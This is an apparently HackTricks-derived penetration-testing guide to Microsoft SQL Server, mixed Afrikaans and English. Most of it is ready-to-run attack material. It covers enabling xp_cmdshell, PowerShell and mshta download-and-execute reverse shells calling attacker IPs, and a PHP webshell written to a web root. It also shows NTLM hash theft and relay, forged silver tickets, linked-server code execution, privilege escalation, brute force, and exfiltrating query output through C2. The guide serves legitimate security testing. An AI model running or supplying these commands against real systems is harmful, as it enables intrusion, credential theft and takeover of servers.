1433 - Pentesting MSSQL - Microsoft SQL Server

Tip

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Basiese Inligting

Van wikipedia:

Microsoft SQL Server is ’n relationele databasis besturingsisteem ontwikkel deur Microsoft. As ’n databasisbediener is dit ’n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op ’n ander rekenaar oor ’n netwerk (insluitend die Internet) kan loop.

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Landing on a Managed Database-as-a-Service (DBaaS)

Alles wat afhang van “owning the host” (bv. privilege escalation, lateral movement, en OS command execution) hou op om te bestaan in DBaaS. Pentesting in hierdie omgewings moet oorskakel na application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, of swak network/VPC design. Byvoorbeeld, die Amazon RDS documentation stel uitdruklik dat xp_cmdshell en die TRUSTWORTHY database property nie ondersteun word nie.

Warning

Jy kry ’n database endpoint, nie ’n server nie. Die cloud provider bestuur die host OS, die database engine binaries, en baie security policies.

Default MS-SQL System Tables

• master Database: Hierdie database is noodsaaklik aangesien dit alle system-level details vir ’n SQL Server instance vasvang.
• msdb Database: SQL Server Agent gebruik hierdie database om scheduling vir alerts en jobs te bestuur.
• model Database: Tree op as ’n blueprint vir elke nuwe database op die SQL Server instance, waar enige veranderinge soos size, collation, recovery model, en meer weerspieël word in nuutgeskepte databases.
• Resource Database: ’n Read-only database wat system objects huisves wat saam met SQL Server kom. Hierdie objects, hoewel fisies in die Resource database gestoor, word logies in die sys schema van elke database aangebied.
• tempdb Database: Dien as ’n tydelike bergingsarea vir transient objects of intermediate result sets.

Enumeration

Automatic Enumeration

If you don’t know anything about the service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

As jy nie credentials het nie, kan jy probeer om hulle te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan accounts block as jy verskeie kere misluk om met ’n bestaande username in te log.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

User Enumeration via RID Brute Force

Jy kan domeingebruikers deur MSSQL enumereer deur RIDs (Relative Identifiers) te brute-force. Hierdie tegniek is nuttig wanneer jy geldige credentials het maar beperkte privileges:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

Pentesting MSSQL - Microsoft SQL Server

Client-Side Attacks

• MSSQL Service from User Windows Credentials

SQL Server Authentication

# With creds
sqsh -S 192.168.1.100 -U sa -P 'password123'

# Connect using Windows Auth
sqsh -S 192.168.1.100 -U .\\username -P 'password123'

Basic Enumeration

SELECT name FROM master.dbo.sysdatabases;
SELECT * FROM INFORMATION_SCHEMA.TABLES;
SELECT * FROM INFORMATION_SCHEMA.COLUMNS;

Enabling xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Running Commands

EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir C:\';

References

• Microsoft SQL Server Documentation

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Parameters:

• --local-auth: Gebruik lokale verifikasie in plaas van domain
• --rid-brute <max_rid>: Brute force RIDs tot by die gespesifiseerde nommer (default: 4000)
• -u: Username
• -p: Password

Hierdie technique sal users enumereer deur die MSSQL server te query vir account information geassosieer met opeenvolgende RIDs.

Manual Enumeration

Login

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Algemene Enumerasie

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Kry Gebruiker

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Kry Toestemmings

1. Securable: Gedefinieer as die hulpbronne wat deur SQL Server vir toegangsbeheer bestuur word. Hierdie word gekategoriseer in:

• Server – Voorbeelde sluit in databases, logins, endpoints, availability groups, en server roles.
• Database – Voorbeelde dek database role, application roles, schema, certificates, full text catalogs, en users.
• Schema – Sluit in tables, views, procedures, functions, synonyms, ens.

2. Permission: Geassosieer met SQL Server securables, permissions soos ALTER, CONTROL, en CREATE kan aan ’n principal toegeken word. Bestuur van permissions vind op twee vlakke plaas:

• Server Level met behulp van logins
• Database Level met behulp van users

3. Principal: Hierdie term verwys na die entiteit aan wie permission vir ’n securable toegeken word. Principals sluit hoofsaaklik logins en database users in. Die beheer oor toegang tot securables word uitgeoefen deur die toeken of weier van permissions of deur logins en users in roles met toegangsregte in te sluit.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Tricks

Voer OS Commands uit

Caution

Let daarop dat om in staat te wees om commands uit te voer, dit nie net nodig is om xp_cmdshell enabled te hê nie, maar ook die EXECUTE permission on the xp_cmdshell stored procedure. Jy kan vind wie (behalwe sysadmins) xp_cmdshell kan gebruik met:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-gebaseerde afgeleë SQL-versameling (sqlcmd + CSV-uitvoer)

Operateurs kan vanaf ’n IIS/app-laag na SQL Servers pivot deur WMI te gebruik om ’n klein batch uit te voer wat by MSSQL verifieer en ad-hoc queries laat loop, met die uitvoer as CSV. Dit hou versameling eenvoudig en meng in met admin-aktiwiteit.

Voorbeeld mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Roep dit op afstand aan met WMI

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

PowerShell-alternatief

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Notas

• sqlcmd mag ontbreek; val terug op osql, PowerShell Invoke-Sqlcmd, of ’n eenlyn met System.Data.SqlClient.
• Gebruik aanhalingstekens versigtig; lang/komplekse navrae is makliker om via ’n lêer of Base64-geënkodeerde argument te verskaf, gedekodeer binne die batch/PowerShell stub.
• Exfil die CSV via SMB (bv. kopieer vanaf \SQLHOST\C$\Windows\Temp) of komprimeer en skuif dit deur jou C2.

Kry gehashte wagwoorde

SELECT * FROM master.sys.syslogins;

Steel NetNTLM hash / Relay attack

Jy moet ’n SMB server begin om die hash vas te vang wat in die verifikasie gebruik word (impacket-smbserver of responder byvoorbeeld).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

Jy kan nagaan of wie (behalwe sysadmins) toestemming het om daardie MSSQL functions te run met:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Deur tools soos responder of Inveigh te gebruik, is dit moontlik om die NetNTLM hash te steel.
Jy kan sien hoe om hierdie tools te gebruik in:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Van NetNTLMv2 capture na MSSQL silver ticket (PAC group injection)

• Capture die SQL Server service account NetNTLMv2 via xp_dirtree '\\\\<attacker_ip>\\share' met Responder (Hashcat mode 5600 om te crack).
• Derive die service NTLM hash van die recovered password:

python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY

• Kry die domain SID-bytes met SELECT SUSER_SID('DOMAIN\\Domain Users'); (RID = laaste 4 bytes, little endian). Map/brute RIDs met nxc mssql ... --rid-brute om ’n group te vind wat sysadmin gee (bv. RID 1105).
• Forge ’n silver ticket vir die MSSQL SPN met die geprivilegieerde group RID in die PAC ingevoeg:

ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>

• Maak xp_cmdshell aan indien nodig; opdragte loop as die SQL Server-diensrekening selfs wanneer jy via die forged ticket impersonate.

Misbruik van MSSQL trusted Links

Lees hierdie post om meer inligting te kry oor hoe om hierdie feature te misbruik:

MSSQL AD Abuse

Linked-server credential mapping -> remote sysadmin -> OS RCE

Linked servers kan gekonfigureer word met ’n non-self login mapping (Local Login -> Remote Login). In daardie geval kan ’n low-privileged login op die eerste SQL Server queries op die tweede een uitvoer as die mapped remote principal. Dit werk op dieselfde manier selfs wanneer die linked instance in ’n ander domain of forest is.

Eers, enumerate die links en hul mappings:

EXEC sp_linkedservers;
EXEC sp_helplinkedsrvlogin '<LINK_NAME>';

Verifieer dan watter rekening jy aan die remote kant word en of dit sysadmin is:

EXEC ('SELECT SYSTEM_USER') AT [<LINK_NAME>];
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [<LINK_NAME>];

As die gemapte remote login sysadmin is, word die linked server ’n remote code execution primitive omdat jy die far-end instance kan herkonfigureer en OS-opdragte kan uitvoer as die SQL Server service account:

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK_NAME>];

Met impacket-mssqlclient is dieselfde werkvloei gewoonlik vinniger:

mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQLHOST>
# Inside the SQL shell:
enum_links
use_link [<LINK_NAME>]
enable_xp_cmdshell
xp_cmdshell whoami

Om enkel-opdrag-uitvoering op te gradeer na ’n interaktiewe shell, begin ’n reverse shell deur xp_cmdshell:

xp_cmdshell powershell -e <BASE64_BLOB>
rlwrap -cAr nc -lnvp 443

Tip

As xp_cmdshell gedeaktiveer is, bevestig die aanvanklike fout dikwels dat sp_configure / RECONFIGURE die beoogde enablement pad is. Kyk ook vir geëksporeerde policy-lêers soos Policy_Backup.inf (secedit /export output), want hulle kan local rights assignments blootstel (SeImpersonatePrivilege, SeDebugPrivilege, Kerberos skew, SMB signing, NTLM hardening) wat help om die volgende privilege-escalation stap te kies sodra jy op die SQL host land.

Write Files

Om files met behulp van MSSQL te skryf, moet ons Ole Automation Procedures enable, wat admin privileges vereis, en dan sommige stored procedures execute om die file te create:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Lees lêer met OPENROWSET

By default, MSSQL laat lêer lees op enige lêer in die operating system waartoe die account lees-toegang het toe. Ons kan die volgende SQL query gebruik:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Die BULK-opsie vereis egter die ADMINISTER BULK OPERATIONS- of die ADMINISTER DATABASE BULK OPERATIONS-toestemming.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Error-gebaseerde vector vir SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Read files executing scripts (Python and R)

MSSQL could allow you to execute scripts in Python and/or R. Hierdie kode sal uitgevoer word deur ’n ander gebruiker as die een wat xp_cmdshell gebruik om opdragte uit te voer.

Example trying to execute a ‘R’ “Hellow World!” not working:

Example using configured python to perform several actions:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Read Registry

Microsoft SQL Server bied multiple extended stored procedures wat jou toelaat om nie net met die netwerk te interaksieer nie, maar ook met die lêerstelsel en selfs die Windows Registry:

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

For more examples check out the original source.

RCE with MSSQL User Defined Function - SQLHttp

Dit is moontlik om ’n .NET dll binne MSSQL te laai met custom functions. Dit vereis egter dbo access, so jy benodig ’n connection met die database as sa of ’n Administrator role.

Following this link om ’n voorbeeld te sien.

RCE with autoadmin_task_agents

Volgens hierdie post, is dit ook moontlik om ’n remote dll te laai en MSSQL te laat dit uitvoer met iets soos:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Met:

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Other ways for RCE

Daar is ander metodes om command execution te kry, soos deur extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, en external scripts.

MSSQL Privilege Escalation

From db_owner to sysadmin

As ’n regular user die rol db_owner kry oor die database owned by an admin user (soos sa) en daardie database is gekonfigureer as trustworthy, kan daardie user hierdie privileges misbruik om privesc te doen omdat stored procedures daarin geskep kan word wat as die owner (admin) kan execute.

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Jy kan ’n metasploit-module gebruik:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Of ’n PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Imposering van ander gebruikers

SQL Server het ’n spesiale toestemming, genaamd IMPERSONATE, wat die uitvoerende gebruiker toelaat om die toestemmings van ’n ander gebruiker of login oor te neem totdat die konteks herstel word of die sessie eindig.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

As jy ’n gebruiker kan impersonate, selfs al is hy nie sysadmin nie, moet jy kyk of die gebruiker toegang het tot ander databases of linked servers.

Let daarop dat sodra jy sysadmin is, jy enige ander een kan impersonate:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Jy kan hierdie aanval uitvoer met ’n metasploit module:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

of met ’n PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Gebruik MSSQL vir Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Passwords uit SQL Server Linked Servers haal

’n Aanvaller kan die passwords van SQL Server Linked Servers uit die SQL Instances onttrek en dit in clear text kry, wat die aanvaller passwords gee wat gebruik kan word om ’n groter foothold op die teiken te verkry. Die script om die passwords wat vir die Linked Servers gestoor is, uit te trek en te decrypt, kan hier gevind word

Sekere vereistes en configurations moet gedoen word sodat hierdie exploit kan werk. Eerstens moet jy Administrator rights op die masjien hê, of die vermoë om die SQL Server Configurations te bestuur.

Nadat jy jou permissions geverifieer het, moet jy drie dinge configureer, naamlik die volgende:

1. Enable TCP/IP op die SQL Server instances;
2. Voeg ’n Start Up parameter by; in hierdie geval sal ’n trace flag bygevoeg word, naamlik -T7806.
3. Enable remote admin connection.

Om hierdie configurations te outomatiseer, het hierdie repository die nodige scripts. Benewens ’n powershell script vir elke stap van die configuration, het die repository ook ’n volledige script wat die configuration scripts en die extraction en decryption van die passwords kombineer.

Vir verdere inligting, verwys na die volgende links oor hierdie attack: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

Die user wat MSSQL server laat loop, sal die privilege token SeImpersonatePrivilege.
Jy sal waarskynlik kan escalate to Administrator deur een van hierdie 2 paged te volg:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

• port:1433 !HTTP

References

• Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd
• HTB: DarkZero - linked-server credential mapping to cross-forest RCE
• HTB: Signed - MSSQL coercion to silver ticket sysadmin
• Microsoft Learn - sp_helplinkedsrvlogin (Transact-SQL)
• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users
• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/
• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/
• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/
• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/
• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/
• https://mayfly277.github.io/posts/GOADv2-pwning-part12/
• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
